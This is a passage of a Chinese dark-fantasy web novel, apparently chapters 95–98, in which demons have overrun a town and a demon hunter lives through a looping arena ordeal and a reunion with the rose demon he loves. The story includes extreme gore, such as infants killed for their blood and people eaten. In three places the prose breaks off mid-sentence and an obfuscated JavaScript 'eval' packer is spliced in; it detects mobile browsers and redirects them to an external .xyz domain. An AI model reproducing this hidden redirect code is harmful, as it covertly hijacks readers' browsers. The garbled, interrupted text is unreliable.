月季看向躺在地上的人偶,强忍着头痛继续回忆。绿牡丹附身王妙仪,沈灵均杀死双双,韩思年误杀新婚妻子,她冲入沈府与天一道长剧斗,打破贯通人妖两界的屏障。 记忆到这里戛然而止。再醒来,便是在月季枝条搭成的大房子中,忘记了人间的痛苦纠葛,就像从没去过一样。 她以为回了妖界,原来还在人间。 她只觉得不可思议。南安县怎会面目全非?街市和房屋消失殆尽,没有留下一点痕迹,到处是耸立的妖的居所。 转念一想,正该如此。妖界通道已开,妖可自由往来。妖的力量胜过人类千倍百倍,普通人毫无反抗之力。它们占据了南安县。此地自然就成了妖喜欢的样子。 而原先生活在这里的人……那些自私虚伪,阴险狡诈的人,全都变成了小白萝卜,满地乱滚;变成了人偶,供妖赏玩;变成了供妖解馋的手指饼、斗人场上被残杀的猎物。 那高达百层的斗人场,想必是蛟龙的杰作。它与天一道长仇深似海,如今终于报了杀妻之仇。天一道长身首异处,死得凄惨无比。昨天若不是月季一时冲动出手相救,沈灵均也会是同样结局。 月季的根系扎在地下,一动不动呆了许久。纷乱思绪如同惊涛拍岸,一重又一重。 四下静得诡异,沈灵均定定地看着她,人间的月光照在他侧脸上,勾勒出瘦削的轮廓。 绿牡丹突然来了一句,“活该。你们捉妖师也有今天。” 月季微微一凛。看来绿牡丹也恢复记忆了。 她像月季一样缩小了身体,逼视着沈灵均,“我和月季原本都打算走了。若不是你发了疯一样纠缠,何至于此?” 沈灵均眼眶通红,“你附身我表妹,害得她人不人,鬼不鬼,新婚三天就惨死!” “我害了她?!明明是她舍不得我走。那个蠢货韩思年呢,死在哪里了?” 沈灵均颤抖着吸了口气,“我不知道……” 绿牡丹道,“若被我瞧见,一定将他碎尸万段。” 她伸长枝条,绿光一闪,人偶王妙仪又被收入怀中。 沈灵均叫道,“你……” 绿牡丹轻声道,“王姑娘反正已经死了,埋在土里多可惜。不如给我留作纪念。我会好好珍惜她的。” 沈灵均胸口起伏,扑上来要拼命,却被一根枝条拦腰拂中,后背重重地撞到石碑上。 一行殷红的鲜血顺着碑文的凹槽流下,滴滴答答地融进土里。 他痛苦地仰望那对猩红的眼睛,“阿月……求你……” 月季枝条挥出,勒紧他的脖子。 沈灵均整张脸憋得通红,张大了嘴,双手徒劳地扳着枝条。 猩红的眼瞳里不带一丝怜悯。 “你是捉妖师,和妖势不两立。如今还想利用我救你的同族?” 沈灵均泪流满面,发不出一点声音,口型仍在重复着“阿月”。 枝条升到半空,叶片狠狠抽在脸上,把他的头打得歪向一侧。 猩红的眼睛逼近,独属于妖的尖啸声响起,“看清楚,这世上,从来就没有什么阿月。” 95. 刹那八万春(四) 桌上放满了手指饼,几十个婴儿簇拥在一起,跳着,笑着,尖叫着。他们的声音细细的,像河岸边的柳枝,又像春风里绵密的雨丝,此起彼伏,直往耳朵里钻。 绿牡丹用枝条随意一戳,婴儿白白嫩嫩的肚子破了,流出鲜血。血液滴到绿色花瓣上,瞬间染红了一片。 绿牡丹来回观赏花瓣,满意道,“偶尔换个颜色,倒也新鲜。” 月季瞥了一眼,收回目光。 绿牡丹道,“这染色的法子,还是今早一只树妖告诉我的。他用几十个小人的血,把浑身的叶片都染红了。你要不要试试。” “不必。” “哦,我忘了,你本就开红花。” 绿牡丹才染了五片花瓣,鲜血就用光了。她扔下干瘪的婴儿躯壳,又取过一只活蹦乱跳的,戳破肚子取血。 无论是被抓的,还是没被抓的,都在一刻不停地笑着、叫着,好像根本感觉不到痛,也不会害怕。 月季道,“我还是想不通,他们为何那样笑?” “谁知道呢,人类奇怪得很。” 绿牡丹把花朵翻来覆去地看,左半边鲜红,右半边粉绿,殊无美感。 “还是全部染红吧。” 月季道,“你施个法,不就行了?” 绿牡丹咯咯笑,“你不懂,做这水磨工夫,也是一种乐趣。” 月季闭上眼睛。昨晚之事历历在目。在人间的一幕幕像走马灯似的反复闪现。她突然懊悔自己为何要想起来。若是想不起来,就不会觉得痛苦了。 绿牡丹的声音突然拔高,“你,过来伺候!” 吊在屋顶上的一根绳索突然松了,砰的一声,沈灵均的身子摔在地上,被吊了一夜,浑身筋骨早就麻木了,半天爬不起来。 牡丹枝条重重抽在他背上,“别磨蹭,快过来。” 沈灵均无力地挣了挣,那姿态像条垂死的鱼。 绿牡丹凶巴巴道,“再不起来就用拖的了。月季,你不心疼吧?” 月季漠然看着,一言不发。 牡丹枝条在沈灵均腰间缠了一圈,狠狠一拽,他的身体擦过粗糙的地板,发出刺耳的刷刷声。半边肩膀撞上桌脚,可以清晰地听到骨头碎裂的脆响。 桌子晃了晃,婴儿们叫得更响了,有几只被撞下了地,在他眼前又跳又笑。 沈灵均别过头去,捂住肩膀,勉强站起。 绿牡丹道,“把这些婴儿肚子戳破,挤出血来,盛在碗里给我。” 沈灵均脸上最后一丝血色也褪去了。 绿牡丹抓起一个婴儿示范,“像这样。” 那婴儿挥舞着肉嘟嘟的胳膊娇笑。枝条末端在它肚脐上戳了个深洞,五脏六腑随着热血涌出,像一股小小的喷泉。笑声渐渐微弱下去,最后归于寂静。绿牡丹把婴儿尸身揉成一团,扔进沈灵均怀里。 “学会了吗?” 沈灵均浑身上下剧烈颤抖,双眼紧闭。 “怎么,害怕了?你残杀妖的时候,可没这么胆小啊。” “我从未……” 沈灵均话没说完,又被抽倒在地,枝条按在头顶,迫使他面对婴儿的脸。 “好几天没吃东西了吧?把它吃下去,就有力气伺候主人了。” 沈灵均再也忍受不住,哇地一声吐了出来。他接连受伤,滴米未进,吐的都是酸水。 绿牡丹嫌弃道,“好好的饼子,平白被你糟蹋了!赔来!” 利爪般的叶片张开,像一把巨型扇子,来回在他身上抽打。 沈灵均匍匐在血泊里,神志昏聩,单手勉力支撑着,护住婴尸。 绿牡丹打得兴发,回身抓起一把婴儿向他投掷。尖叫声、笑声响成一片。 “够了。”月季厌烦道。 绿牡丹转头,“怎么?” “吵死了。吵得我头疼。” “你是不忍心了吧。别忘了他之前是怎么折磨你的。” 沈灵均的脊背痉挛了一下。 月季道,“你要么让这些婴儿安静,要么带着它们滚出我家。” “那他呢?” “一起带走吧。” “不要!”沈灵均拼命抬起头,气若游丝,“让我留在你身边……” 绿牡丹狞笑,“你以为留在这里,就能保住性命?” 沈灵均喘息道,“死在她手里,是最好的结局。” 月季的花心如同被密密麻麻的银针扎过,一阵疼似一阵。 妖和捉妖师本就是死敌。过往的爱恨痴缠,不过是梦幻泡影。 她恍恍惚惚地站起来,“既然如此,我就成全你。” 枝条蓄了十成力,枝节纷纷爆响。 沈灵均眼中竟闪过欣慰之色。 窗户外面突然传来喧闹声。 二妖推窗一看,只见满地都是乱跑的小人,一边尖叫一边笑闹,像无头苍蝇似的乱窜。 月季一愣,“怎么回事?” 绿牡丹道,“定是谁家的粮仓打翻了。” 她伸出枝条随意一捞,捞上两个人来。月季看出那是一男一女,约莫二十岁年纪,一边一个攀在枝条上,笑得正欢。 绿牡丹干脆利落地送入口中,大嚼起来,一边吃,一边称赞,“口感不错。有嚼劲。” 月季不知该作何感想。以往在妖界,妖们相互吞食,如今到了人间,凭空多出来那么多食物,看来不必再自相残杀了。 人流源源不断,从高处看去,像一群蠕动的蚂蚁,绿牡丹把根系扎进蚁群,喜道,“自助餐!” 枝条向地面各个方向延伸,网住胡乱奔跑的人,挨个往嘴里送。 月季看她大快朵颐的样子,一阵恶心,转身朝反方向走去。 她的根系又粗又壮,稍有不慎就会踩倒一片,许多人绊倒在她多刺的枝干上。有一个摔下了地,就此不动了。 月季俯身一瞧,浑身的汁液都凉了。那身形面貌,分明是昔日住在她隔壁的许大娘。 许大娘的衣服磨得只剩几片破布,露在外面的肌肤鲜血淋漓,左腿没了,仰面躺着,浑浊的眼睛里没有一丝光彩,脸上却挂着灿烂的笑容,好像遇到了天大的喜事一般。 她从没见她这样笑过。 直到后面的人群涌来,又跳又叫地从她脸上踩过去,踩掉了半张脸,那笑容才走了样。 月季不敢再看。她在南安县认识那么多人,脚下随时会出现熟悉的脸。 他们如今全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈灵均叹了口气,“有法力、会格斗的都被蛟龙抓进了斗人场。他两样都没,便成了漏网之鱼,流落在外,看样子侥幸逃离了妖的掌控。” “就这么被踩死,太便宜他了。” 枝条一卷,带起一阵疾风,将胡乱奔跑的人群吹开。韩思年已经被踩得浑身剧痛,口吐鲜血,忽然身上一轻,腰间一紧,便似腾云驾雾一般,飞了很远。 他掉在松软的地面上。紧接着,又是啪的一声,有人掉在他附近。 喧闹声消失了。四下静极,反而让耳朵嗡嗡作响。 韩思年睁开眼睛。 这是昔日的镜湖。虽然湖水早已被蛟龙喝干,河床裸露在外,沿岸的垂柳全被鸟妖拔去造了通天柱,但他还是认了出来。 他摇摇晃晃地起身,边上那人也站了起来。 四目相对,韩思年激动得一阵眩晕,跌跌撞撞地奔过去,“沈大人,太好了!你还活着!我们有救了!” 96. 刹那八万春(五) 韩思年用力抓住沈灵均的肩膀,就像溺水的人抓住一根救命稻草。咔嚓一声,断骨彻底碎裂,疼得沈灵均险些昏厥过去。 “放开……” 韩思年一惊,放脱了手,“沈大人,你怎么样?还能打么?” 沈灵均回以苦笑。 韩思年细数他身上的伤,竟比自己身上还多,越看越觉得惨不忍睹,“此处开阔,容易被妖发现,我们快找个地方躲起来。” 沈灵均抬头望了望。空中什么都瞧不见。是月季故意把他们扔到这儿。她此刻不现身,想必在暗中盘算要怎么折磨他们。 “躲不掉的。” 韩思年一愣,“也对。为今之计,只有殊死一搏。你的斩妖剑呢?还找得回来吗?” 沈灵均摇头苦笑。 “你身上还有什么法器、药丸、或是符咒?” 沈灵均仍是摇头。 韩思年恨恨道,“大半个南安县的人死于妖口,其余的都发了疯,变成那副乱跳乱笑的模样。他们把我们做成会走路的粮食,残杀取乐。” 沈灵均问,“你是如何清醒的?” 韩思年眼眶发红,面露痛苦之色,“鼠妖占了韩府,改做粮仓,把我们关在一起。我原本和其他人一样,浑浑噩噩,五感尽失。幸亏老天开眼,让我从地下挖出了自家的匾额。那是韩家先祖亲笔所书,代代相传的宝贝,居然被当作砖石瓦砾,用来垫脚!” “原来如此。” “我清醒过来以后,想起了一切,便用剑砍断门锁,把大家放了出去。可他们全都失了神智,一味乱跑。沈大人,你可有办法唤醒大家?” 沈灵均沉声道,“即便醒了,也逃不掉的。妖的力量强过人百倍。” “你有法力,可以和他们斗!” “没用的。” 韩思年恼火,“不试试怎么知道!” 沈灵均剧烈咳嗽,一缕鲜血顺着嘴角留下来。 韩思年忙扶住他,“快坐下疗伤。” 沈灵均摇摇头,“即使没受伤,以我一人之力抵挡众妖,也是以卵击石。” 韩思年咬紧牙关,“那我们就带着大家跑。南安县毁了,相邻的西河县或许还未沦陷,若西河县也毁了,就再往南跑……” “没用的。这是个死局。” 韩思年乍见到他,以为盼到了救星,哪知刚燃起希望,就被他几盆冷水浇下,那滋味怎一个难受了得。呆了片刻,突然重重推了他一把。沈灵均猝不及防,摔倒在地。 韩思年举起断剑,指着他吼道,“你到底是不是捉妖师?还记不记得自己肩负的责任?” 沈灵均肩膀断骨处钻心地痛,一时说不出话来。 “南安县遭此大劫,你既不能救百姓于危难,又不敢拼死相抗,还有何面目苟活于世!你斗志全无,眼睁睁地看着妖孽作恶!你……” 他气急攻心,剑锋颤抖,抵在沈灵均脖颈处。 “你是不是已经和妖沆瀣一气,沦为它们的奴仆了?!” 沈灵均看着断剑,惨然道,“对不起,我谁都救不了。” 韩思年重重地把剑扔在地上,双手捂住脸。过了片刻,肩膀颤动,呜咽起来。 “这般活着,还不如死了……反正迟早也是个死……为什么要让我清醒过来……” 二人相对无言。不知过了多久,沈灵均凝滞的目光动了动,望向韩思年身后。 地上多了一道修长的影子。 又尖又细的嗓音响起,“夫君。” 韩思年浑身一凛,猛地扭头。他先看到一双绣鞋,鞋面绣着荷叶纹,白色衣裙的下摆缀在鞋面,苗条的身形若隐若现,一顶幂篱盖到胸口。 身形体态,无一处不像。 他大喜若狂,“妙仪?你没死?!” 来人不答。他挣扎着爬起来,一把掀开幂篱,笑容瞬间凝固,惊惶得连退三步。 那不是王妙仪的脸,却比王妙仪美得多,雍容华贵,国色天香,勾魂夺魄。 没有人能抗拒这张脸。 韩思年咬紧牙关,“是你……你害死了妙仪!” 绿牡丹冷冷道,“夫君说哪里话?我就是妙仪啊。” “不!你是妖!你占了妙仪的身子,把我骗得团团转!” “不错,与你湖边偶遇的是我,与你彻夜长谈的是我,与你新婚燕尔,夜夜缠绵的也是我。你早就认识王妙仪,为何在我附身之后,突然对她一见倾心?韩思年,你可知道自己爱上的到底是谁?” 韩思年狂怒道,“妖孽!你施法引诱,陷我于不义。我定要杀了你为爱妻报仇!” “那就动手吧。只要杀了我,再也不会有人知道,你爱上了一只妖。” 绿牡丹一挥手,断剑跳了起来,飞到韩思年手中。 韩思年额头青筋暴起,大喊一声,挺剑刺出。 断剑触及绿牡丹胸口,却被一股无形的力量挡住了。 韩思年面对着那张美艳的脸,手抖得厉害,几乎拿不住剑柄。 绿牡丹眼中尽是鄙夷之色,“你当初捅王姑娘一剑,何等干脆利落,怎么现在下不了手了?是舍不得杀我?” “不!” “你只识美色,不辨人心,鲁莽冲动,不自量力。既看不出我的身份,也看不清自己的感情。像你这样有眼无珠之人,拿着剑有何用?” 当啷,断剑落地。韩思年像被抽掉了骨头,一点点瘫软下去。 绿牡丹垂眸,“再问你一次,爱的是人,还是妖?” 韩思年盯着地面,恍若未闻。 绿牡丹喝道,“说啊!” 韩思年突然大叫一声,抓起剑,朝自己双目刺去。 他这一剑用了全力,双眼顿时鲜血长流。剧痛之下,他像一匹受伤的狼那样长声哀嚎,在地上滚来滚去。 绿牡丹瞪着他。 沈灵均一直冷眼旁观,见此惨状,也只是皱了皱眉头。 韩思年的喊声越来越微弱,终于歪在地上不动了。三个人影像三块石头,几乎和大地融为一体。 夕阳西下,霞光染红了半边天空。 沈灵均望了望天,喃喃道,“韩府大战那日,也是这样的天色。” 绿牡丹一怔,看向他。 四目相对,沈灵均叹息道,“阿月……” 白色衣裙一寸寸变红,身形改变,容貌变幻,幂篱下方露出季月的脸。 沈灵均痴痴地看着这张脸,“你终于肯以真面目相见了。” 月季扬起眉毛,“真面目?你是不是磕到头磕傻了?我是妖,茹毛饮血、吞吃婴儿才是我的真面目。” “我爱上的就是妖。” “……” “从你来到南安县的第一日,我就知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月季看着梅花,默然半晌,“我不会解。” 沈灵均笑了,“无妨。多半不会发作了。” 月季眼眶酸酸的,好像有什么东西要溢出来。 她还是在乎他,在乎他的性命,在乎他的心,在乎他以后怎么活下去,活得快不快乐。 “为什么不会发作……” “因为你就是我的药。” 他伤痕累累的身体靠过来,全身重量压在她肩膀,灼热的鼻息喷在她脖子上。 月季的双手不自觉地揽住他后背,露水终于抑制不住地流下来。 她又输给他。这次连一招一式都没使出来,就一败涂地。她明明可以捏死他,心中却有个声音大喊着,要倾尽所有去救他。 她闷闷地说,“你欠我的花蜜,拿什么还?” “慢慢还。” “地上这个人怎么办?” “不管了。” “你不救他?” 沈灵均嗓音喑哑,“阿月,你能救的只有我。而我,谁都救不了。” 97. 刹那八万春(六) 几股月季枝条蜿蜒,编织成一架秋千,座椅上长满了刺,在风中微微摇动。 以人形来看,这架秋千实在大得很,座椅上的刺也尖锐得很。 月季戳了戳沈灵均,“爬上去,我就给你疗伤。” 沈灵均面露难色。 “怎么,连这点力气都使不出来了?” “只怕旧伤未愈,又添新伤。” 月季叹了口气,托住他的腰,飞上秋千,寻了块没有尖刺的地方放下。 她闭上眼,周身光华大盛,一颗莹润的花蜜从头顶浮了出来,飘进沈灵均的身体。断骨迅速复原,伤口愈合,长出新的血肉。淤青消退,凹陷的脸庞鼓了起来,双目之中又有了神采。 月季凑过去在他身上闻了闻,打趣道,“给你用的花蜜太多了,你现在的气味和我一模一样。” 沈灵均顺势揽过她的肩膀,在红唇上吻了下去。 唇齿久别重逢,顿时难舍难分,舌头不断深入,发泄思念和酸楚。月季整个身子被他抱在怀里,肌肤贴着肌肤,香汗淋漓,心似火烧,几乎透不过气来。 细细软软的枝条从衣服底下钻了出来,缠在沈灵均身上,末端绽开一朵朵小花。 她睁开眼睛,见沈灵均眼角有湿意。 指尖抵在胸口梅花印记上,轻轻推开,“给你治伤,不是让你放肆的。” 他托着她的脖子,柔声道,“这次的花开得没有上次多。” “什么?” “我们亲密的时候……你不知道自己会开花么?” 月季眼光扫过绕在他手臂上的小花,“知道啊,可你又看不到。” 沈灵均目光幽深。 她倏地直起身,“你能看到?!” 沈灵均微笑,“你高兴的时候,花瓣会舒展开,难过的时候,花冠会垂下去,生气的时候,枝节上的刺会变长变尖。那晚满床都是月季花,把我们埋在下面,显然你开心极了。” 月季有些羞恼,坐起来捏住他的脸,“你从什么时候能看到的,说!” 她正好坐在他胯上,沈灵均目光往下溜了溜,赧然道,“你挪一挪,不然我没法说……” 月季哼了一声,将他整个人推倒,沈灵均后背扎进几根刺,疼得一激灵。 “主人……饶命。” 月季的下巴抵在他胸口,催促道,“快说。” “我勤修苦练,功力日进,大约在你赶走泉妖之后,某一天,突然就能看到你的真身了。” 月季呆了,“这么早……” “你暗中助我,我心中感激,却不能明说。我知道你无意挑起争斗,更不愿揭露你的身份。后来师父回来,情势危急,我才迫不得已对你出手……” 他说到这里,眼神又黯淡下来。 “阿月,我以为你会生气离开。没想到你对我如此情深,即使伤心也不愿回妖界。我……对不起你。” “别自作多情了,是绿牡丹抢了铜镜。” “啊……原来如此……” 月季出神片刻,恨声道,“都怪她!要不是她胡闹,王姑娘也不会死。事情也不会闹到如此地步。” 沈灵均抱住她,“阿月,过去的事,不要再想了。” “我去把王姑娘抢回来。” 沈灵均沉默良久,黯然道,“表妹一生爱美。若她地下有知,也许情愿做一只漂漂亮亮的人偶,也不愿躺在阴暗冰冷的土里。” “可你之前还想偷走她。” “我起初确实想葬了她,没想到绿牡丹对她爱护有加。” 月季皱眉,“她这妖古怪得很。” 沈灵均轻抚月季的头发,“谁又不古怪呢。” 月季在他胸口躺了一会,忽道,“我想出南安县看看,妖究竟占领了多大地方。” 沈灵均深深叹了口气,“由他们去吧。只要我们在一起就好了。” 月季凝视着他,眉头渐渐紧锁。他是捉妖师,一向以百姓安危为念,以惩治妖邪为己任,即便大难临头,也不该如此颓废。 “你不对劲。为什么斗志全无?” 沈灵均眼底情绪翻涌,“阿月,这是个死局。” 月季站起身,一阵风吹得秋千微微摇晃,衣带在空中上下翻飞。沈灵均撑起上身,脸上是平静的绝望。 远处传来阵阵龙吟。斗人场的盛会又开始了。 月季低声道,“你到底还有多少事瞒着我?” 沈灵均注视她半晌,突然笑了,“上一回,你也是这么问的。” 秋千晃得厉害,月季几乎站立不稳,头又开始隐隐作痛。 “这一切究竟是怎么回事?” 沈灵均抱着她跳下秋千,风声和低语声一并响起,“你先答应我,不要心碎,我把一切都告诉你。” 月季迟疑地点点头。 沈灵均醒来的时候,和天一道长绑在一起。沉重的锁链在手腕和脚腕上勒出深痕。外头喧嚣震天,全都是妖的尖啸。囚室里还绑着许多陌生人,大都身披道袍,手握兵刃。沈灵均摸到了斩妖剑的剑柄,用力捏紧。 “师父,发生何事?” 天一道长面如死灰,“屏障失守。群妖入侵。” 沈灵均心中冰凉。师徒俩守了半辈子的通道,终究没有守住。 “是妖把我们关在这里?” 天一道长未及答话,蛟龙的利爪探进囚室,把他抓了出去。 “师父!” 外面杀声震天,听起来像有成百上千的妖。打斗持续了一刻钟,师父被扔了进来。 他半边身子被妖的利齿咬掉了,血肉模糊,奄奄一息。 囚室里人尽皆骇然,有人吓得当场尿了裤子。 沈灵均刚刚掏出丹药,要喂给天一道长,蛟龙再次伸爪,把他抓了出去。 外面的场景让他终生难忘。日光耀眼,高耸入云的台上挤满了妖,个个奇形怪状,形容可怖,妖气强烈至极,风里都带着血腥味,冲天的喊声几乎把他震晕。 蛟龙在高空盘旋,地面一滩殷红血迹尚未干涸。是师父的血。 “这是一只捉妖师。谁想和他打一架?” 起初,沈灵均还能凭借法力,斩杀几只妖。每当他获胜,高台上的妖就会异常鼓噪,争相跃出要结果了他。 打斗永无止息,对手源源不断,符咒很快用完,斩妖剑也卷了刃。最终,他力气耗尽,被一只海龟一口吞下。 海龟嘴里腥臭无比,沈灵均绝望地想,这是他一生中最后闻到的气味了。 下一刻,他又醒了过来。仍是身处囚室,和师父捆在一起。沉重的锁链在手腕和脚腕上勒出深痕。 沈灵均懵了。和之前一模一样,蛟龙伸爪抓走了师父。师父斗得片刻,便败下阵来,这次连半边身子都没保住,全都进了妖腹。 囚室里有人吓晕了。 蛟龙把他抓出去时,沈灵均心中燃起一丝希望,看来这是个幻境。只要他战胜了妖,就能有转机。他既然能从昭昭的回忆里走出来,这次也能找到出路。 他果然比上回多撑了一阵子,英勇斩杀了二十只妖,最后力气耗尽,被蚌精一壳毙命。 再醒来,又回到囚室。 他很快发现自己多么愚蠢。这里是永无止境的打斗,永无止境的折磨。百妖环伺,即使他长了三头六臂,也绝无可能从中突围。他是落入他们掌握的困兽,死亡是必然的结局。妖不讲规则,发起怒来群起而攻,蛟龙也会亲自出手。他体验了千奇百怪的死法,死状凄惨无比。 他很快就记不清自己死了多少次,麻木地被抓、被杀。失去斗志后,死的速度更快了。有一回,他缩在角落,蛟龙爪子没碰到他,就把囚室里其他的人一一抓走。他听着他们在外面惨遭屠戮,死亡殆尽。最后,还是轮到自己。 龙爪加身,绝望之情无以复加,烈日刺入眼眸,视线突然模糊。 咔嚓。他听到心脏碎裂的声音。 再睁眼,又回到了囚室。这次不是身死,是心死。 沈灵均哭笑不得。心死而亡,倒是免受一番皮肉之苦。 这炼狱般的折磨,好像永无尽头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284214|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙爪再次伸来的时候,他挺身挡在天一道长面前。 “师父,让我先死……” 道长把他推开,用沙哑的嗓音说道,“血咒是假的。活下去。” 龙爪擒住道长,带走了。外面杀声震天。沈灵均呆若木鸡,过了好一会儿,才掀开自己的衣领。 五瓣梅花已成,形状浑圆,色泽鲜艳。 它本可以要了他的命,结束这求生不得求死不能的折磨。可师父偏偏跟他开了个天大的玩笑。 沈灵均突然大笑起来,滚倒在地。 囚室里的人吓了一跳,以为他发了疯,纷纷避让躲闪。 往事如潮水般涌上心头。天一道长性格刚烈,行事偏激。可对徒弟毕竟有些感情,舍不得痛下杀手。血咒是假的,却被当了真。 若非师父逼迫,他也不会以激烈手段逼走季月,以致在韩府大打出手,酿成悲剧。 沈灵均笑着笑着,笑岔了气,眼中扑簌簌地流下泪来。这是他陷入绝境后第一次流泪。天意弄人,这场劫难的种子,早在季月出现在南安县时,就已经种下了。此后的桩桩件件,都如同阳光雨露,让它生根发芽,结成今日的恶果。 这回天一道长支撑了很久,连杀五只妖,才被吞进妖腹。 龙爪又伸进来,抓住沈灵均。他并不抵抗,闭目待死。 意外的是,蛟龙换了说辞,没有让他立刻上场,“这是一只捉妖师,跟方才那只一样,会打架。想带他回家的妖,现在可以出价了。” 沈灵均睁开眼睛,这炼狱竟然变化了。 群妖鼓噪,吵着要把他看清楚些。 蛟龙带着他一圈圈地盘旋。上百张妖的面孔从眼前掠过。他们看起来比以往观战时更兴奋。 沈灵均若有所悟。他们看打架看腻了,想玩些新花样。 他精神一振,若能脱离斗人场,或许有一线生机。 他出尽全力打了三场架,证明了自己的实力,最后被一只蜘蛛妖以一捆蛛丝的价格买走了。 蜘蛛妖在他体内注入毒液,让他五脏六腑都烧了起来,然后把他黏在巨大的蛛网上,训练自己的五个蜘蛛孩子轮流扑杀他。 沈灵均又想错了。蜘蛛巢比斗人场更残忍。他拼尽全力躲闪,坚持了一天一夜,才死于蛛口。 一睁眼,又回到囚室。 斗人场的架永远打不完,隔一阵就会多些新花样。有时蛟龙会抓好几个人出来,逼他们自相残杀。打架间隙,还有妖出现在看台上,向观众兜售食物。 一开始,沈灵均不知道那食物是什么,只是隐隐觉得异样。 后来,他被一只猪妖买走,扔进粮仓。那是他第一次见到迷失心智的人。他们眼神空洞,嘴角咧到最大,不知疲倦地又叫又跳,哪怕跳断了脚也无知无觉。 沈灵均震惊之下,想方设法唤醒了两个人。一个是卖早点的张阿伯,一个是县衙的许小宝。张阿伯了解自己的真实处境后,直接吓昏了过去。许小宝则涕泗横流,求沈灵均一剑杀了他。 人在妖的领地根本无法生存。 猪妖听见哭声,前来查看,沈灵均趁乱逃了出去。 是夜繁星满天,他首次脱离妖的掌控,以最快的速度奔逃。是夜繁星满天,北极星为他指明方向。 自己出生长大的南安县已经面目全非,到处都是妖建造的诡异房子,沈灵均不忍细看,径直跑向玉川下游。 他记得那里有座风雨桥,过了桥便是西河县,虽然河水已经干涸,木桥已毁,可河道仍在。 砰。 他一头撞在什么东西上,弹了回来。 河床之上,原本风雨桥所在的地方,有堵看不见的空气墙。河道另一边,本该是广袤的油菜花田,每当春耕之时,油菜花金黄灿烂,引无数游人驻足。 可现在,河对岸什么都没有。 沈灵均大惊失色。 这是个结界。妖造出来的结界。 结界之外,是一片虚空。 它们不光毁掉了南安县。恐怕整个人间,都已经不存在了。 98. 刹那八万春(七) 沈灵均在河边耗了一个时辰,想尽各种办法,都没能突破空气墙。最后被一群蝶妖发现踪迹,大战一场,死于翅膀之下。 自那以后,他再也使不出任何招式,失魂落魄地呆在囚室角落,和肮脏的墙壁融为一体。眼看着天一道长和其他人一次次被抓出去屠戮,心里没有半点波澜。 一切都是假的。这是个无法解脱的死局。 心中充斥着绝望和怨恨,他回到起点的间隔越来越短,凝固的囚室屋顶渐渐占据整个视野。 他预感到这一切快结束了。自己将迎来真正的死亡,最后的解脱。 到了此刻,反而有些庆幸。他已经尽了全力,和守护半生的南安县共灭亡,也算死得其所。 思绪飘忽,想起季月。不知道她现在如何了,有没有回妖界。 她的一颦一笑、一举一动在眼前闪过。阴暗的囚室里不知为何,突然有了光,时间重新流动起来。 蛟龙的利爪伸进,一下子把他抓了出去。 烈日晃眼,尖啸入耳,封闭的感官渐渐苏醒,蛟龙在一旁大声吆喝,“这是一只捉妖师,会打架。想带他回去的,可以出价了。” 百层台间,蛟龙带着他一圈圈盘旋,上百只妖的面目糊成一团。 然后奇迹发生了。 一道熟悉的声音穿透所有喧嚣,刺入耳膜,“这个人我要了。” 沈灵均猛地睁开眼睛。季月就坐在面前高台之上,枝条笔直,叶片舒展,巨大的花冠微微摇晃,两只猩红的眼睛一瞬不瞬地盯着他。 见他呆若木鸡的样子,她似乎觉得有趣,问蛟龙,“两颗花蜜够不够?” 无边苦海之中,终于驶来一叶孤舟。沈灵均热血沸腾,浑身都有了力气,大叫,“够了!够了!” 蛟龙给了他一爪,“鬼叫什么?你说了不算!来,显显身手!” 一只鳖精得了授意,朝他直扑过来。沈灵均展开轻功,一味奔逃。绕场转了几圈,瞅准时机,躲到季月身后。月季枝条挥出,一下就把鳖精甩了出去。 季月扬起花冠,“他是我的人了。” 最后,季月以三颗花蜜的价格买下了他。 沈灵均自然欣喜若狂,一离开斗人场,就像竹筒倒豆子似的,把所有前尘往事一一道来。她忘记的那些爱恨纠葛,他要让她全部想起来。 他说了很久,说得口干舌燥。 可怕的事情发生了,月季恢复记忆的一瞬间,花冠直直地垂落下去,叶片蜷曲,枝干软倒。沈灵均大惊,扑过去拨开花瓣。只见花心一道裂痕,透明的汁液汩汩流出。 下一刻,他又回到囚室。 沈灵均呆坐了半日,举起手,狠狠扇了自己一个巴掌。 原来他伤她那么深。足以让她心碎。 和季月重逢不过短短几个时辰,他翻来覆去地回想,把所有细节都刻在心里。每次被蛟龙抓出去,就疯狂地扫视看台,搜寻季月的影子。 他一刻不停地谋划,下次遇到季月该说些什么,做些什么。有了这个盼头,忍受妖的折磨变得容易了一些。 又死了几十次,季月再度出现。这回她坐在看台上,冷漠地看着他斗败了十几只妖,却始终不为所动。最后他被一只鱼妖买走,做成了鱼食,死得七零八落。 她彻底忘记他了。她和其他的妖一样,已成为这方天地的主宰,而他不过是她果腹的口粮,取乐的玩物。就好像她从来没有爱上他一样。 沈灵均欲哭无泪。 炼狱不断循环,他沉沦其中,求生的欲望一点点消磨殆尽,仅剩的念头,就是再见季月一面。 这一次,他终于如愿以偿。斗人场上,月季枝条破空而出,卷住了奄奄一息的他。 炼狱苦海,万劫不复,她是唯一救赎。 月季听他说完,瞪大了眼睛,如泥塑木雕般呆在原地。沈灵均一颗心吊到嗓子眼,生怕她震惊过度,像上次那样直接倒下。 